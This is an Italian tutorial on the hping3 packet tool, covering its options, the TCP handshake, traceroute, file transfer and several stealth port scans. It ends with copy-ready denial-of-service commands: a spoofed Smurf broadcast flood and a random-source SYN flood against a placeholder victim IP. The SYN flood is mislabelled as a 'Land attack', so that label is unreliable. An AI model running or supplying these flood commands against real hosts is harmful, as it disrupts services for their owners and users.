HPing3 è un assemblatore/analizzatore di pacchetti TCP/IP a riga di comando. Oltre a supportare i protocolli TCP, UDP, ICMP e RAW-IP dispone di molte altre caratteristiche come la modalità traceroute e la possibilità di inviare file attraverso un canale "nascosto". Si tratta di un tool molto versatile che consente un controllo accurato su ogni flag del pacchetto.
Viene utilizzato per diversi scopi e contesti tra cui:
- Scansione avanzata porte:
- Test di firewall;
- Test di rete con l'utilizzo di diversi protocolli;
- Path MTU discovery
- Traceroute avanzato;
- Individuazione sistema operativo remoto (OS FingerPrinting);
- Individuazione tempo di attività di un sistema remoto;
- Controllo stack TCP/IP
HPing3 è già incluso in Kali Linux. Per visualizzare le opzioni e le modalità messe a disposizione del tool basta lanciare il seguente comando da terminale
hping3 -h
usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set don't fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-mss enable the TCP MSS option with the given value
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
Per visualizzare il manuale eseguire il comando
man hping3
Il protocollo di rete TCP (Transmission Control Protocol) fa parte del livello di trasporto e si occupa del controllo della trasmissione tra mittente e destinatario rendendola affidabile. La procedura utilizzata per instaurare in modo affidabile una connessione TCP tra due host è chiamata three-way handshake. Il nome deriva dalla necessità di scambiare tre messaggi tra il mittente e il destinatario al fine di stabilire una connessione affidabile.
- Nel primo messaggio il client (mittente) invia un pacchetto TCP con flag SYN al server (destinatario) sulla porta dove si ritiene quest'ultimo in ascolto;
- Se sulla porta in questione il server è realmente in ascolto, risponderà con un pacchetto con i flag SYN e ACK attivi (SYN/ACK);
- Il client confermerà l'avvenuta connessione inviando al server un pacchetto con il flag ACK attivo.
|
FIG 1 - TCP, Three-way Handshake |
Tramite hping3 è possibile simulare il three-way handshake utilizzando un comando come il seguente
hping3 -S -p 80 -c 1 server
-S indica l'invio di un pacchetto SYN.
-p Consente di specificare la porta di destinazione del pacchetto. In questo caso è stata specificata la porta 80 generalmente utilizzata nei server web.
-c Permette di specificare quanti pacchetti inviare. Nel comando sopra indicato viene inviato un solo pacchetto.
server Al suo posto va indicato l'indirizzo IP del server o il suo nome.
|
FIG 2 - HPing3, Avvio three-way handshake tramite pacchetto SYN |
Dalla risposta del server (FIG 2) possiamo recuperare informazioni utili:
- flag=SA indica che i flag TCP sono attivi e il server ci ha risposto con SYN/ACK (la seconda fase della procedura three-way handshake).
- TTL=64 Il campo TTL (Time To Live), della dimensione di un byte, fa parte del header IP ed è un meccanismo che determina il tempo di vita di un pacchetto. Quando un pacchetto viene inviato, tale campo viene valorizzato con un valore compreso tra 1 e 255. Ad ogni salto (router che il pacchetto attraversa) il valore TTL viene decrementato di una unità. Quanto il valore TTL diventa 0, il pacchetto viene cancellato e al mittente viene inviato un pacchetto ICMP di avviso del tipo Time Exceeded. Generalmente gli apparati di rete assegnano a TTL il valore 255, i sistemi GNU/Linux (e anche molti altri sistemi *nix) assegnano il valore 64 mentre i sistemi Windows valorizzano tale campo a 128.
Il tool HPing3 è molto versatile e di seguito vengono mostrati alcuni degli utilizzi più comuni.
Trasferire file tramite HPing3
Per trasferire un file tramite HPing3 è necessario che sia il mittente che il destinatario dispongano del tool installato.
Sulla postazione del destinatario è necessario indicare a HPing3 di rimanere in ascolto. Tale operazione si esegue lanciando il seguente comando da terminale
hping3 --listen 192.168.1.11 -I eth0 --sign IDMSG1
--listen indica che la postazione è in ascolto. L'IP da passare al parametro è quello della postazione locale che deve rimanere in ascolto (destinatario).
--sign permette di specificare una firma per il messaggio.
Sulla postazione del mittente è possibile inviare il file tramite il comando
hping3 192.168.1.11 --icmp --sign IDMSG1 -d 100 -c 1 --file file.txt
L'indirizzo IP passato a HPing3 è quello del destinatario.
La firma passata a --sign deve essere uguale a quella definita sulla postazione del destinatario.
L'opzione -d indica la dimensione dei dati.
All'opzione --file va passato il nome del file da inviare.
Test ICMP
Il seguente comando esegue un normale ping verso la destinazione specificata
hping3 -1 google.com
|
FIG 3 - HPing3, invio pacchetto ICMP (ping) |
Traceroute tramite ICMP
HPing3 consente di eseguire un traceroute verso un target specifico utilizzando pacchetti ICMP e incrementando ogni volta di 1 il valore TTL. L'output del comando è simile a quello fornito da utility come tracert (in ambiente Windows) o traceroute (in ambiente Linux). L'opzione -V imposta un output dettagliato.
hping3 --traceroute -V -1 google.com
Il traceroute può essere eseguito anche verso una specifica porta.
hping3 --traceroute -V -S -p 80 google.com
Verifica porta tramite l'invio di un pacchetto Syn
Il comando è analogo a quello visto all'inizio di tale articolo
hping3 -V -S -p 80 server
Possiamo anche indicare, tramite l'opzione -s, la porta locale da cui far eseguire la scansione
hping3 -V -S -p 80 -s 4060 server
Chiudere la comunicazione tramite un pacchetto FIN
In una connessione TCP un pacchetto con flag FIN attivo viene utilizzato per avviare la routine di chiusura della connessione. Tramite il seguente comando e l'opzione -F è possibile inviare tale pacchetto ad un destinatario. Se non viene ricevuta alcuna risposta la porta è aperta. Nel caso di Firewall generalmente si riceve un pacchetto con i flag RST+ACK che indica la porta chiusa.
hping3 -c 1 -V -p 80 -s 4060 -F server
Xmas Scan
Con Xmas Scan viene impostato il numero di sequenza TCP a 0 e vengono attivati i flag URG, PSH e FIN all'interno del pacchetto. Se la porta TCP del destinatario è chiusa viene inviato un pacchetto TCP RST in risposta. Se la porta è aperta, il destinatario scarta il pacchetto TCP Xmas e non invia alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -M 0 -UPF server
ACK Scan
Questo tipo di scansione può essere utilizzata per verificare la raggiungibilità di un dispositivo in rete quando il ping è bloccato. Nel caso la porta sia aperta si dovrebbe ricevere in risposta un pacchetto RST.
hping3 -c 1 -V -p 80 -s 4060 -A server
Null Scan
Con questo tipo di scansione viene impostato il numero sequenziale a 0 e nessun flag è attivo all'interno del pacchetto. Il pacchetto inviato prende il nome di TCP NULL. Se la porta TCP del destinatario è chiusa si riceve in risposta il pacchetto TCP RST. Se la porta è aperta il pacchetto TCP NULL viene scartato e non viene inviata alcuna risposta.
hping3 -c 1 -V -p 80 -s 4060 -Y server
Smurf Attack
Si tratta di un tipo di attacco DoS (denial-of-service). Il sistema destinatario viene inondato di messaggi ping inviati tramite uno spoofed broadcast.
hping3 -1 --flood -a IP_VITTIMA INDIRIZZO_BROADCAST
DOS Land Attack
Anche in questo caso siamo di fronte ad un attacco di tipo DoS. Si invia un numero elevato di pacchetti di una certa dimensione nel minor tempo possibile e con il flag SYN attivo.
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source IP_VITTIMA
--flood: invia i pacchetti il più velocemente possibile e senza attendere una risposta.
--rand-source: permette di inviare pacchetti che sembrano provenire da IP diversi. Generalmente utilizzata per mettere in difficoltà i firewall.
-V Verbose.
-c --count: numero di pacchetti da inviare.
-d --data: dimensione dei dati.
-S --syn: imposta il flag SYN attivo.
-w --win: winsize (default 64).
-p --destport: porta di destinazione.
-s --baseport: porta da cui viene inviato il pacchetto (default random).